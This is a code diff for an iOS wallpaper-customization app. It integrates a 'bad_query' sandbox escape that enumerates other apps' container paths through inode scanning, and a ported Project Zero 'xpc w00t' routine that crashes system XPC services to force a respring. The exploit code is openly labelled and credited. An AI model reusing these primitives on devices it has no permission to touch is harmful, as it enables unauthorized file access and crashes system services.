if (!out) return NULL;
out[0] = '\0';
char buf[1200];
for (uint64_t ino = 1; ino <= max_inode; ino++) {
ssize_t n = fsgetpath(buf, sizeof(buf), &fsid, ino);
if (n <= 0) continue;
const char *p = buf;
if (strncmp(p, "/private/var/", 13) == 0) p += 8;
if (strncmp(p, path, path_length) != 0 || p[path_length] != '/') continue;
if (strchr(p + path_length + 1, '/')) continue;
size_t need = strlen(p) + 2;
if (length + need > cap) { cap *= 2; char *t = realloc(out, cap); if (!t) break; out = t; }
length += snprintf(out + length, cap - length, "%s\n", p);
}
return out;
}
+18
View File
@@ -0,0 +1,18 @@
//
// bad_query.h
// bad_query
//
// Created by Taj C on 7/21/26.
//
#ifndef bad_query_h
#define bad_query_h
#include <stdio.h>
#include <stdbool.h>
int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group);
char *bad_query_list(char *path, int64_t max_inode);
void bad_query_release(int64_t handle);
#endif /* bad_query_h */
+110
View File
@@ -0,0 +1,110 @@
//
// xpc_crash.c
// Pocket Poster
//
// Ported from Cowabunga / TrollTools helpers.m
// (xpc w00t technique: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html)
//
#include "xpc_crash.h"
#include <string.h>
#include <mach/mach.h>
#include <mach-o/dyld.h>
// bootstrap_look_up is in libsystem_kernel / libxpc but not always in public headers
extern kern_return_t bootstrap_look_up(mach_port_t bp, const char *service_name, mach_port_t *sp);
extern mach_port_t bootstrap_port;
struct xpc_w00t {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_port_descriptor_t client_port;
mach_msg_port_descriptor_t reply_port;
};
static mach_port_t get_send_once(mach_port_t recv) {
mach_port_t so = MACH_PORT_NULL;
mach_msg_type_name_t type = 0;
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
if (err != KERN_SUCCESS) {
return MACH_PORT_NULL;
}
return so;
}
void xpc_crasher(char *service_name) {
mach_port_t client_port = MACH_PORT_NULL;
mach_port_t reply_port = MACH_PORT_NULL;
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
if (err != KERN_SUCCESS) {
printf("xpc_crasher: unable to look up %s\n", service_name);
return;
}
if (service_port == MACH_PORT_NULL) {
printf("xpc_crasher: bad service port for %s\n", service_name);
return;
}
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
if (err != KERN_SUCCESS) {
return;
}
mach_port_t so0 = get_send_once(client_port);
mach_port_t so1 = get_send_once(client_port);
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
return;
}
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
if (err != KERN_SUCCESS) {
return;
}
struct xpc_w00t msg;
memset(&msg.hdr, 0, sizeof(msg));
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg.hdr.msgh_size = sizeof(msg);
msg.hdr.msgh_remote_port = service_port;
msg.hdr.msgh_id = 'w00t';
msg.body.msgh_descriptor_count = 2;
msg.client_port.name = client_port;
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE;
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
msg.reply_port.name = reply_port;
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
err = mach_msg(&msg.hdr,
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
msg.hdr.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
printf("xpc_crasher: w00t send failed for %s: %s\n", service_name, mach_error_string(err));
} else {
printf("xpc_crasher: sent w00t to %s\n", service_name);
}
if (so0 != MACH_PORT_NULL) mach_port_deallocate(mach_task_self(), so0);
if (so1 != MACH_PORT_NULL) mach_port_deallocate(mach_task_self(), so1);
}
void restartBackboard(void) {
xpc_crasher("com.apple.backboard.TouchDeliveryPolicyServer");
}
void restartFrontboard(void) {
// May not kill the calling app on some versions — caller should exit(0) after.
xpc_crasher("com.apple.frontboard.systemappservices");
}
+22
View File
@@ -0,0 +1,22 @@
//
// xpc_crash.h
// Pocket Poster
//
// Userspace respring helpers (from Cowabunga / Project Zero xpc w00t).
//
#ifndef xpc_crash_h
#define xpc_crash_h
#include <stdio.h>
/// Crash an XPC service by name (triggers relaunch of the hosting process).
void xpc_crasher(char *service_name);
/// Respring via crashing com.apple.backboard.TouchDeliveryPolicyServer
void restartBackboard(void);
/// Respring via crashing com.apple.frontboard.systemappservices
void restartFrontboard(void);
#endif /* xpc_crash_h */
+59 -15
View File
@@ -18,13 +18,31 @@ fileprivate let cancelString = NSLocalizedString("Cancel", comment: "")
extension UIApplication {
func dismissAlert(animated: Bool) {
func dismissAlert(animated: Bool, completion: (() -> Void)? = nil) {
DispatchQueue.main.async {
lastDismissTitle = currentUIAlertController?.title
currentUIAlertController?.dismiss(animated: animated)
if let alert = currentUIAlertController {
// Always clear pointer first so a follow-up present() won't chain on a dying VC
currentUIAlertController = nil
alert.dismiss(animated: animated) {
completion?()
}
} else {
// Also dismiss any orphaned presented alert
if let top = Self.topViewController(), top is UIAlertController {
top.dismiss(animated: animated) {
completion?()
}
} else {
completion?()
}
}
}
}
func alert(title: String = errorString, body: String, animated: Bool = true, withButton: Bool = true) {
// Dismiss any existing alert first so we never stack a buttonless spinner under a new sheet
dismissAlert(animated: false) {
DispatchQueue.main.async {
var body = body
@@ -37,23 +55,33 @@ extension UIApplication {
body += "\n\(device.systemName) \(systemVersion), v\(appVersion) build \(appBuild)"
}
currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert)
if withButton { currentUIAlertController?.addAction(.init(title: okString, style: .cancel)) }
self.present(alert: currentUIAlertController!)
let controller = UIAlertController(title: title, message: body, preferredStyle: .alert)
// Always allow dismiss for non-progress alerts; progress uses withButton: false intentionally
if withButton {
controller.addAction(.init(title: okString, style: .cancel))
}
currentUIAlertController = controller
self.present(alert: controller)
}
}
}
func confirmAlert(title: String = errorString, body: String, confirmTitle: String = okString, onOK: @escaping () -> (), noCancel: Bool) {
dismissAlert(animated: false) {
DispatchQueue.main.async {
currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert)
let controller = UIAlertController(title: title, message: body, preferredStyle: .alert)
if !noCancel {
currentUIAlertController?.addAction(.init(title: cancelString, style: .cancel))
controller.addAction(.init(title: cancelString, style: .cancel))
}
currentUIAlertController?.addAction(.init(title: confirmTitle, style: noCancel ? .cancel : .default, handler: { _ in
controller.addAction(.init(title: confirmTitle, style: noCancel ? .cancel : .default, handler: { _ in
onOK()
}))
self.present(alert: currentUIAlertController!)
currentUIAlertController = controller
self.present(alert: controller)
}
}
}
func change(title: String = errorString, body: String) {
DispatchQueue.main.async {
currentUIAlertController?.title = title
@@ -61,14 +89,30 @@ extension UIApplication {
}
}
func present(alert: UIAlertController) {
if let window = UIApplication.shared.connectedScenes.map({ $0 as? UIWindowScene }).compactMap({ $0 }).first?.windows.first, var topController = window.rootViewController {
while let presentedViewController = topController.presentedViewController, presentedViewController.title != lastDismissTitle {
topController = presentedViewController
/// Top-most VC in the key window (skips being-dismissed alerts when possible).
static func topViewController() -> UIViewController? {
let scenes = UIApplication.shared.connectedScenes.compactMap { $0 as? UIWindowScene }
let window = scenes
.flatMap { $0.windows }
.first { $0.isKeyWindow } ?? scenes.first?.windows.first
guard var top = window?.rootViewController else { return nil }
while let presented = top.presentedViewController {
// Prefer not to stop on a controller that is mid-dismiss
if presented.isBeingDismissed { break }
top = presented
}
return top
}
topController.present(alert, animated: true)
// topController should now be your topmost view controller
func present(alert: UIAlertController) {
guard let topController = Self.topViewController() else { return }
// If top is already an alert being shown, replace it
if let existing = topController as? UIAlertController {
existing.dismiss(animated: false) {
Self.topViewController()?.present(alert, animated: true)
}
return
}
topController.present(alert, animated: true)
}
}
+16
View File
@@ -841,6 +841,9 @@
}
}
}
},
"bad_query available — on-device detect works (no PC)." : {
},
"Cancel" : {
"localizations" : {
@@ -2599,6 +2602,12 @@
}
}
}
},
"Detect On-Device" : {
},
"Detect via Nugget" : {
},
"Disable Video Duration Limit" : {
"localizations" : {
@@ -4090,6 +4099,7 @@
}
},
"Exploit" : {
"extractionState" : "stale",
"localizations" : {
"ar" : {
"stringUnit" : {
@@ -4242,6 +4252,9 @@
}
}
}
},
"Exploit (.Trash)" : {
},
"Explore" : {
"localizations" : {
@@ -7306,6 +7319,9 @@
}
}
}
},
"No hash set — will auto-detect via bad_query on Apply." : {
},
"Nugget GitHub" : {
"localizations" : {
+54 -27
View File
@@ -58,10 +58,15 @@ struct ContentView: View {
}
Section {
if pbHash == "" {
if pbHash == "" && !SymHandler.prefersBadQuery {
Text("Enter your PosterBoard app hash in Settings.")
} else {
VStack {
if pbHash == "" && SymHandler.prefersBadQuery {
Text("No hash set — will auto-detect via bad_query on Apply.")
.font(.caption)
.foregroundStyle(.secondary)
}
if !pbManager.selectedTendies.isEmpty || !pbManager.videos.isEmpty {
Button(action: {
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
@@ -69,21 +74,23 @@ struct ContentView: View {
DispatchQueue.global(qos: .userInitiated).async {
do {
try pbManager.applyTendies(appHash: pbHash)
var hash = pbHash
if hash.isEmpty {
UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "Detecting PosterBoard container…")
hash = try BadQuery.findPosterBoardHash()
DispatchQueue.main.async { pbHash = hash }
}
try pbManager.applyTendies(appHash: hash)
SymHandler.cleanup() // just to be extra sure
try? FileManager.default.removeItem(at: pbManager.getTendiesStoreURL())
UIApplication.shared.dismissAlert(animated: false)
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
DispatchQueue.main.async {
pbManager.selectedTendies.removeAll()
pbManager.videos.removeAll()
Haptic.shared.notify(.success)
UIApplication.shared.confirmAlert(title: NSLocalizedString("Success!", comment: ""), body: NSLocalizedString("The PosterBoard app will now open. Please close it from the app switcher.", comment: ""), onOK: {
if !pbManager.openPosterBoard() {
UIApplication.shared.confirmAlert(title: NSLocalizedString("Falling Back to Shortcut", comment: ""), body: NSLocalizedString("PosterBoard failed to open directly. The fallback shortcut will now be opened.", comment: ""), onOK: {
pbManager.runShortcut(named: "PosterBoard")
}, noCancel: true)
// Instant Mond-style respring (no alert delay)
RespringHelper.respring()
}
}, noCancel: true)
})
} catch CocoaError.fileWriteUnknown {
presentError(ApplyError.wrongAppHash)
} catch CocoaError.fileWriteFileExists {
@@ -99,21 +106,41 @@ struct ContentView: View {
.buttonStyle(TintedButton(color: .blue, fullwidth: true))
}
Button(action: {
if #available(iOS 18.0, *) {
guard let lang = UserDefaults.standard.stringArray(forKey: "AppleLanguages")?.first else {
hideResetHelp = false // fallback to tutorial
return
UIApplication.shared.confirmAlert(
title: NSLocalizedString("Reset Collections", comment: ""),
body: SymHandler.prefersBadQuery
? "This will wipe custom PosterBoard descriptors via bad_query, then respring."
: NSLocalizedString("Do you want to reset collections?", comment: ""),
onOK: {
UIApplication.shared.alert(
title: "Resetting…",
body: "Please wait",
animated: true,
withButton: false
)
DispatchQueue.global(qos: .userInitiated).async {
do {
var hash = pbHash
if hash.isEmpty && SymHandler.prefersBadQuery {
hash = try BadQuery.findPosterBoardHash()
DispatchQueue.main.async { pbHash = hash }
}
UIApplication.shared.confirmAlert(title: NSLocalizedString("Reset Collections", comment: ""), body: NSLocalizedString("Do you want to reset collections?", comment: ""), onOK: {
if pbManager.setSystemLanguage(to: lang) {
UIApplication.shared.alert(title: NSLocalizedString("Collections Successfully Reset!", comment: ""), body: NSLocalizedString("Your PosterBoard will refresh automatically.", comment: ""))
} else {
UIApplication.shared.alert(body: "The API failed to call correctly.\nSystem Locale Code: \(lang)")
guard !hash.isEmpty else {
throw ApplyError.wrongAppHash
}
}, noCancel: false)
} else {
hideResetHelp = false
try pbManager.resetCollections(appHash: hash)
DispatchQueue.main.async {
Haptic.shared.notify(.success)
// Instant Mond-style respring
RespringHelper.respring()
}
} catch {
presentError(ApplyError.unexpected(info: error.localizedDescription))
}
}
},
noCancel: false
)
}) {
Label("Reset Collections", systemImage: "arrow.clockwise.circle")
}
@@ -171,11 +198,11 @@ struct ContentView: View {
func presentError(_ error: ApplyError) {
SymHandler.cleanup()
UIApplication.shared.dismissAlert(animated: false)
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
DispatchQueue.main.async {
Haptic.shared.notify(.error)
UIApplication.shared.alert(body: error.localizedDescription)
})
// alert() dismisses any buttonless progress sheet first, always with OK
UIApplication.shared.alert(body: error.localizedDescription, withButton: true)
}
}
init() {
@@ -5,7 +5,7 @@
// Created by lemin on 5/31/25.
//
import SwiftUICore
import SwiftUI
struct OnBoardingPage: Identifiable {
var id = UUID()
+82 -4
View File
@@ -15,11 +15,12 @@ struct SettingsView: View {
@State var checkingForHash: Bool = false
@State var hashCheckTask: Task<Void, any Error>? = nil
@State var detectingOnDevice: Bool = false
var body: some View {
List {
Section {
VStack {
VStack(alignment: .leading, spacing: 10) {
TextField("Enter PosterBoard App Hash", text: $pbHash)
.textFieldStyle(RoundedBorderTextFieldStyle())
.font(.system(.body, design: .monospaced))
@@ -28,8 +29,30 @@ struct SettingsView: View {
.textFieldStyle(RoundedBorderTextFieldStyle())
.font(.system(.body, design: .monospaced))
}
if SymHandler.prefersBadQuery {
Text("bad_query available — on-device detect works (no PC).")
.font(.caption)
.foregroundStyle(.secondary)
}
HStack {
Spacer()
// On-device detect via bad_query (iOS 26/27)
if SymHandler.prefersBadQuery {
Button(action: {
detectOnDevice()
}) {
if detectingOnDevice {
ProgressView()
} else {
Text("Detect On-Device")
}
}
.foregroundStyle(.blue)
.disabled(detectingOnDevice)
}
// Run task to check until file exists from Nugget pc over AFC
Button(action: {
if !FileManager.default.fileExists(atPath: SymHandler.getPosterBoardHashURL().path()) {
@@ -40,7 +63,7 @@ struct SettingsView: View {
}
startWaitForHash()
}) {
Text("Detect")
Text(SymHandler.prefersBadQuery ? "Detect via Nugget" : "Detect")
}
.foregroundStyle(.green)
.onChange(of: checkingForHash) { _ in
@@ -138,10 +161,12 @@ struct SettingsView: View {
// MARK: Credits
Section {
LinkCell(imageName: "Mak5er", url: "https://github.com/Mak5er", title: "Mak5er", contribution: "bad_query port · iOS 27 build", circle: true)
LinkCell(imageName: "leminlimez", url: "https://github.com/leminlimez", title: "LeminLimez", contribution: NSLocalizedString("Main Developer", comment: "leminlimez's contribution"), circle: true)
LinkCell(imageName: "serstars", url: "https://github.com/SerStars", title: "SerStars", contribution: NSLocalizedString("Website Designer", comment: ""), circle: true)
LinkCell(imageName: "Nathan", url: "https://github.com/verygenericname", title: "Nathan", contribution: NSLocalizedString("Exploit", comment: ""), circle: true)
LinkCell(imageName: "duy", url: "https://github.com/khanhduytran0", title: "DuyKhanhTran", contribution: NSLocalizedString("Exploit", comment: ""), circle: true)
LinkCell(imageName: "Nathan", url: "https://github.com/verygenericname", title: "Nathan", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true)
LinkCell(imageName: "duy", url: "https://github.com/khanhduytran0", title: "DuyKhanhTran", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true)
LinkCell(imageName: "sky", url: "https://github.com/forcequitOS/bad_query", title: "forcequitOS", contribution: "bad_query (iOS 26/27)", circle: false)
LinkCell(imageName: "sky", url: "https://bsky.app/profile/did:plc:xykfeb7ieeo335g3aly6vev4", title: "dootskyre", contribution: NSLocalizedString("Fallback Shortcut Creator", comment: ""), circle: true)
LinkCell(imageName: "POEditor", url: "https://poeditor.com/join/project/MPZOsunwVj", title: NSLocalizedString("Community Translators", comment: ""), contribution: "POEditor")
} header: {
@@ -150,6 +175,59 @@ struct SettingsView: View {
}
}
/// Scan containers on-device with bad_query / fsgetpath — no computer needed.
func detectOnDevice() {
detectingOnDevice = true
UIApplication.shared.alert(
title: "Scanning containers…",
body: "Looking for PosterBoard via bad_query. This may take a moment.",
animated: true,
withButton: false
)
DispatchQueue.global(qos: .userInitiated).async {
var pb: String?
var cp: String?
var errMsg: String?
do {
pb = try BadQuery.findPosterBoardHash()
} catch {
errMsg = error.localizedDescription
}
if CarPlayManager.supportsCarPlay() {
cp = try? BadQuery.findCarPlayHash()
}
// Always show a closeable result alert (loading alert has no OK button —
// dismiss must complete before the next alert is presented).
DispatchQueue.main.async {
detectingOnDevice = false
if let pb {
pbHash = pb.trimmingCharacters(in: .whitespacesAndNewlines)
if let cp {
cpHash = cp.trimmingCharacters(in: .whitespacesAndNewlines)
}
Haptic.shared.notify(.success)
let body = cp != nil
? "PosterBoard:\n\(pbHash)\n\nCarPlay:\n\(cpHash)"
: "PosterBoard:\n\(pbHash)"
// alert() auto-dismisses any previous (buttonless) sheet first
UIApplication.shared.alert(title: "Hash found!", body: body, withButton: true)
} else {
Haptic.shared.notify(.error)
UIApplication.shared.alert(
title: "Detect failed",
body: errMsg ?? "Could not find PosterBoard container. Open Wallpaper settings once, then retry.",
withButton: true
)
}
}
}
}
func startWaitForHash() {
checkingForHash = true
hashCheckTask = Task {
+4 -4
View File
@@ -11,7 +11,7 @@
<string>Owner</string>
<key>LSItemContentTypes</key>
<array>
<string>com.leemin.tendies</string>
<string>com.mak5er.tendies</string>
</array>
</dict>
</array>
@@ -21,7 +21,7 @@
<key>CFBundleTypeRole</key>
<string>Editor</string>
<key>CFBundleURLName</key>
<string>com.leemin.pocketposter</string>
<string>com.mak5er.pocketposter</string>
<key>CFBundleURLSchemes</key>
<array>
<string>pocketposter</string>
@@ -43,7 +43,7 @@
<key>UTTypeIconFiles</key>
<array/>
<key>UTTypeIdentifier</key>
<string>com.leemin.tendies</string>
<string>com.mak5er.tendies</string>
<key>UTTypeTagSpecification</key>
<dict>
<key>public.filename-extension</key>
@@ -66,7 +66,7 @@
<key>UTTypeIconFiles</key>
<array/>
<key>UTTypeIdentifier</key>
<string>com.leemin.tendies</string>
<string>com.mak5er.tendies</string>
<key>UTTypeTagSpecification</key>
<dict>
<key>public.filename-extension</key>
+21 -8
View File
@@ -4,18 +4,25 @@
<div align="center">
<h1><b>Pocket Poster</b></h1>
<p><i>Custom PosterBoard Wallpapers for iOS 17+</i></p>
<p><i>Custom PosterBoard Wallpapers for iOS 17+ · bad_query for iOS 26–27.0b4</i></p>
<p>Maintained / iOS 27 port by <a href="https://github.com/Mak5er"><b>Mak5er</b></a></p>
<a href="https://celloserenity.github.io/altdirect/?url=https://raw.githubusercontent.com/SerStars/Nugget-Wallpapers/refs/heads/main/other/pocketposter_source.json" target="_blank">
<img src="https://raw.githubusercontent.com/CelloSerenity/altdirect/refs/heads/main/assets/png/AltSource_White.png" width="150">
</a>
&nbsp;&nbsp;&nbsp;
<a href="https://github.com/leminlimez/Pocket-Poster/releases/latest/download/pocket_poster.ipa" target="_blank">
<img src="https://raw.githubusercontent.com/CelloSerenity/altdirect/refs/heads/main/assets/png/Download_White.png" width="150">
</a>
</div>
## Getting Started
Since there is no way to read files currently, you will need a computer to get the App Hash/UUID.
### iOS 26 / 27.0b4 (bad_query)
On versions where [bad_query][badQueryGitHub] works, **no computer is required**:
1. Install the IPA (sideload with TrollStore / SideStore / etc.).
2. Settings → **Detect On-Device** (or just hit Apply — hash auto-detects).
3. Select tendies / video → **Apply** → device does a **full respring** (Frontboard + Backboard).
**Reset Collections** wipes PosterBoard descriptors via bad_query, then full resprings the same way.
### Older iOS (legacy .Trash exploit)
You will need a computer to get the App Hash/UUID.
Download [Nugget][NuggetGitHub] on your computer and plug in your phone.
<br>Then, navigate to the `Settings` page and click the `Pocket Poster Helper` button.
@@ -25,14 +32,19 @@ Community-made wallpapers can be found on the [official Cowabun.ga site][Cowabun
<br>Join the [Cowabunga Discord Server][CowabungaDiscord] for additional help.
## Credits
- Translations crowdsourced using [POEditor][POEditorJoin]. Thank you everyone who assisted in the translation effort!
- **[Mak5er][Mak5erGitHub]** — bad_query integration, iOS 27 port, full respring, on-device detect
- [LeminLimez][LeminGitHub] — original Pocket Poster
- Translations crowdsourced using [POEditor][POEditorJoin]
- [PosterRestore][PosterRestoreDiscord] for their help with PosterBoard
- [dootskyre][dootskyreX] for the fallback shortcut
- [Nathan][NathanGitHub] and [DuyKhanhTran][DuyKhanhTranGitHub] for the exploit
- [Nathan][NathanGitHub] and [DuyKhanhTran][DuyKhanhTranGitHub] for the .Trash exploit
- [forcequitOS][badQueryGitHub] for bad_query (iOS 26/27 sandbox escape)
- [SerStars][SerStarsX] for creating the website
[CowabungaWallpapersPage]: https://cowabun.ga/wallpapers
[NuggetGitHub]: https://github.com/leminlimez/Nugget
[LeminGitHub]: https://github.com/leminlimez
[Mak5erGitHub]: https://github.com/Mak5er
[CowabungaDiscord]: https://discord.gg/cowabunga
[PosterRestoreDiscord]: https://discord.gg/gWtzTVhMvh
@@ -41,3 +53,4 @@ Community-made wallpapers can be found on the [official Cowabun.ga site][Cowabun
[NathanGitHub]: https://github.com/verygenericname
[DuyKhanhTranGitHub]: https://github.com/khanhduytran0
[SerStarsX]: https://x.com/SerStars
[badQueryGitHub]: https://github.com/forcequitOS/bad_query